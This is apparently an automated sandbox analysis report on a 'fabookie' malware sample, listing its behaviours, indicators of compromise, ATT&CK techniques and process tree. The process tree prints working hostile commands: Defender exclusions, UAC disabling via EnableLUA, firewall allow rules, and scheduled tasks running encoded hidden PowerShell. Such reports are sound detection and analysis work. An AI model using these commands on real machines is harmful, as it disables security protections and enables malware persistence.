fabookie | 3fe2d1159ccf7ea1e268d05b20500e51dcde40d10475b0a07cd8ee00fe5776a5

Bypass User Account Control

T1548.002

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	3fe2d1159ccf7ea1e268d05b20500e51dcde40d10475b0a07cd8ee00fe5776a5.exe

Windows security bypass 2 TTPs 2 IoCs

Disable or Modify Tools

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	3fe2d1159ccf7ea1e268d05b20500e51dcde40d10475b0a07cd8ee00fe5776a5.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\3fe2d1159ccf7ea1e268d05b20500e51dcde40d10475b0a07cd8ee00fe5776a5.exe = "0"	3fe2d1159ccf7ea1e268d05b20500e51dcde40d10475b0a07cd8ee00fe5776a5.exe

Downloads MZ/PE file

Modifies Windows Firewall 2 TTPs 2 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
2640	netsh.exe
2052	netsh.exe

Drops startup file 3 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\3oOmwVunvevrIDnWKyOe6ooV.bat	CasPol.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M4UftWygCikAak6Ic9XTfIjk.bat	CasPol.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\euPLqXmBNJIgRYcYpwZDqGsl.bat	CasPol.exe

Executes dropped EXE 1 IoCs

pid	Process
2968	NWbWyCOUP80ux8enDUbL8MIR.exe

Loads dropped DLL 2 IoCs

pid	Process
2980	CasPol.exe
2980	CasPol.exe

UPX packed file 5 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0006000000014fed-270.dat	upx
behavioral1/memory/796-278-0x00000000003B0000-0x0000000000898000-memory.dmp	upx
behavioral1/files/0x0006000000014fed-276.dat	upx
behavioral1/memory/2980-275-0x0000000008370000-0x0000000008858000-memory.dmp	upx
behavioral1/files/0x0006000000014fed-274.dat	upx

Windows security modification 2 TTPs 3 IoCs

Disable or Modify Tools

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	3fe2d1159ccf7ea1e268d05b20500e51dcde40d10475b0a07cd8ee00fe5776a5.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions	3fe2d1159ccf7ea1e268d05b20500e51dcde40d10475b0a07cd8ee00fe5776a5.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\3fe2d1159ccf7ea1e268d05b20500e51dcde40d10475b0a07cd8ee00fe5776a5.exe = "0"	3fe2d1159ccf7ea1e268d05b20500e51dcde40d10475b0a07cd8ee00fe5776a5.exe

Checks whether UAC is enabled 1 TTPs 2 IoCs

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	3fe2d1159ccf7ea1e268d05b20500e51dcde40d10475b0a07cd8ee00fe5776a5.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	3fe2d1159ccf7ea1e268d05b20500e51dcde40d10475b0a07cd8ee00fe5776a5.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
4	pastebin.com
6	pastebin.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2292 set thread context of 2980	2292	3fe2d1159ccf7ea1e268d05b20500e51dcde40d10475b0a07cd8ee00fe5776a5.exe	30

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
304	schtasks.exe
2844	schtasks.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
3056	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2980	CasPol.exe
Token: SeDebugPrivilege	3056	powershell.exe

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 2292 wrote to memory of 3056	2292	3fe2d1159ccf7ea1e268d05b20500e51dcde40d10475b0a07cd8ee00fe5776a5.exe	28
PID 2292 wrote to memory of 3056	2292	3fe2d1159ccf7ea1e268d05b20500e51dcde40d10475b0a07cd8ee00fe5776a5.exe	28
PID 2292 wrote to memory of 3056	2292	3fe2d1159ccf7ea1e268d05b20500e51dcde40d10475b0a07cd8ee00fe5776a5.exe	28
PID 2292 wrote to memory of 3056	2292	3fe2d1159ccf7ea1e268d05b20500e51dcde40d10475b0a07cd8ee00fe5776a5.exe	28
PID 2292 wrote to memory of 2980	2292	3fe2d1159ccf7ea1e268d05b20500e51dcde40d10475b0a07cd8ee00fe5776a5.exe	30
PID 2292 wrote to memory of 2980	2292	3fe2d1159ccf7ea1e268d05b20500e51dcde40d10475b0a07cd8ee00fe5776a5.exe	30
PID 2292 wrote to memory of 2980	2292	3fe2d1159ccf7ea1e268d05b20500e51dcde40d10475b0a07cd8ee00fe5776a5.exe	30
PID 2292 wrote to memory of 2980	2292	3fe2d1159ccf7ea1e268d05b20500e51dcde40d10475b0a07cd8ee00fe5776a5.exe	30
PID 2292 wrote to memory of 2980	2292	3fe2d1159ccf7ea1e268d05b20500e51dcde40d10475b0a07cd8ee00fe5776a5.exe	30
PID 2292 wrote to memory of 2980	2292	3fe2d1159ccf7ea1e268d05b20500e51dcde40d10475b0a07cd8ee00fe5776a5.exe	30
PID 2292 wrote to memory of 2980	2292	3fe2d1159ccf7ea1e268d05b20500e51dcde40d10475b0a07cd8ee00fe5776a5.exe	30
PID 2292 wrote to memory of 2980	2292	3fe2d1159ccf7ea1e268d05b20500e51dcde40d10475b0a07cd8ee00fe5776a5.exe	30
PID 2292 wrote to memory of 2980	2292	3fe2d1159ccf7ea1e268d05b20500e51dcde40d10475b0a07cd8ee00fe5776a5.exe	30
PID 2980 wrote to memory of 2968	2980	CasPol.exe	31
PID 2980 wrote to memory of 2968	2980	CasPol.exe	31
PID 2980 wrote to memory of 2968	2980	CasPol.exe	31
PID 2980 wrote to memory of 2968	2980	CasPol.exe	31

System policy modification 1 TTPs 1 IoCs

evasion

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	3fe2d1159ccf7ea1e268d05b20500e51dcde40d10475b0a07cd8ee00fe5776a5.exe

C:\Users\Admin\AppData\Local\Temp\3fe2d1159ccf7ea1e268d05b20500e51dcde40d10475b0a07cd8ee00fe5776a5.exe
"C:\Users\Admin\AppData\Local\Temp\3fe2d1159ccf7ea1e268d05b20500e51dcde40d10475b0a07cd8ee00fe5776a5.exe"
1⤵
- UAC bypass
- Windows security bypass
- Windows security modification
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2292
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\3fe2d1159ccf7ea1e268d05b20500e51dcde40d10475b0a07cd8ee00fe5776a5.exe" -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3056
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
  2⤵
  - Drops startup file
  - Loads dropped DLL
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2980
- - C:\Users\Admin\Pictures\NWbWyCOUP80ux8enDUbL8MIR.exe
    "C:\Users\Admin\Pictures\NWbWyCOUP80ux8enDUbL8MIR.exe"
    3⤵
    - Executes dropped EXE
    PID:2968
  - - C:\Users\Admin\Pictures\NWbWyCOUP80ux8enDUbL8MIR.exe
      "C:\Users\Admin\Pictures\NWbWyCOUP80ux8enDUbL8MIR.exe"
      4⤵
      PID:2324
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        5⤵
        
        PID:1476
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        6⤵
        Modifies Windows Firewall
        
        PID:2052
    - - C:\Windows\rss\csrss.exe
        
        C:\Windows\rss\csrss.exe
        5⤵
        
        PID:608
      - C:\Windows\system32\schtasks.exe
        
        schtasks /delete /tn ScheduledUpdate /f
        6⤵
        
        PID:2116
      - C:\Windows\system32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        6⤵
        Creates scheduled task(s)
        
        PID:2844
      - C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
        
        "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
        6⤵
        
        PID:668
      - C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
        
        C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
        6⤵
        
        PID:2000
- - C:\Users\Admin\Pictures\nb1saqhC7RUIlHW7GQKvTKs5.exe
    "C:\Users\Admin\Pictures\nb1saqhC7RUIlHW7GQKvTKs5.exe"
    3⤵
    PID:2500
  - - C:\Users\Admin\Pictures\nb1saqhC7RUIlHW7GQKvTKs5.exe
      "C:\Users\Admin\Pictures\nb1saqhC7RUIlHW7GQKvTKs5.exe"
      4⤵
      PID:2456
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        5⤵
        
        PID:1532
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        6⤵
        Modifies Windows Firewall
        
        PID:2640
- - C:\Users\Admin\Pictures\qnIMls1dkOgUUXbEVGfj9hmA.exe
    "C:\Users\Admin\Pictures\qnIMls1dkOgUUXbEVGfj9hmA.exe"
    3⤵
    PID:2560
- - C:\Users\Admin\Pictures\PeeiE764gblKNgpJhkTqsI0V.exe
    "C:\Users\Admin\Pictures\PeeiE764gblKNgpJhkTqsI0V.exe" --silent --allusers=0
    3⤵
    PID:796
- - C:\Users\Admin\Pictures\gQeP6GNDHsQduYkOxGeNPqgF.exe
    "C:\Users\Admin\Pictures\gQeP6GNDHsQduYkOxGeNPqgF.exe"
    3⤵
    PID:1284
  - - C:\Users\Admin\AppData\Local\Temp\7zSD8B3.tmp\Install.exe
      .\Install.exe
      4⤵
      PID:2444
    - - C:\Users\Admin\AppData\Local\Temp\7zSE1C7.tmp\Install.exe
        
        .\Install.exe /gdidR "385118" /S
        5⤵
        
        PID:992
      - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
        6⤵
        
        PID:2824
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        7⤵
        
        PID:2424
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        8⤵
        
        PID:2576
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        8⤵
        
        PID:2024
      - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
        6⤵
        
        PID:952
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        7⤵
        
        PID:1504
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        8⤵
        
        PID:2308
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        8⤵
        
        PID:2016
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "gNpCxFrBU" /SC once /ST 03:47:56 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
        6⤵
        Creates scheduled task(s)
        
        PID:304
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn "gNpCxFrBU"
        6⤵
        
        PID:2432
- - C:\Users\Admin\Pictures\66R4ZsQYbJQkmNBxdryoNoMl.exe
    "C:\Users\Admin\Pictures\66R4ZsQYbJQkmNBxdryoNoMl.exe" /VERYSILENT
    3⤵
    PID:2968
  - - C:\Users\Admin\AppData\Local\Temp\is-LSO8I.tmp\66R4ZsQYbJQkmNBxdryoNoMl.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-LSO8I.tmp\66R4ZsQYbJQkmNBxdryoNoMl.tmp" /SL5="$401A0,831488,831488,C:\Users\Admin\Pictures\66R4ZsQYbJQkmNBxdryoNoMl.exe" /VERYSILENT
      4⤵
      PID:2196

C:\Windows\system32\makecab.exe
"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20240204075417.log C:\Windows\Logs\CBS\CbsPersist_20240204075417.cab
1⤵
PID:2128

C:\Windows\system32\taskeng.exe
taskeng.exe {825F3D03-AAFF-4B25-80BE-582313735545} S-1-5-21-2444714103-3190537498-3629098939-1000:DJLAPDMX\Admin:Interactive:[1]
1⤵
PID:2544
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  PID:2796
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:848

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:2144

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

Modify Registry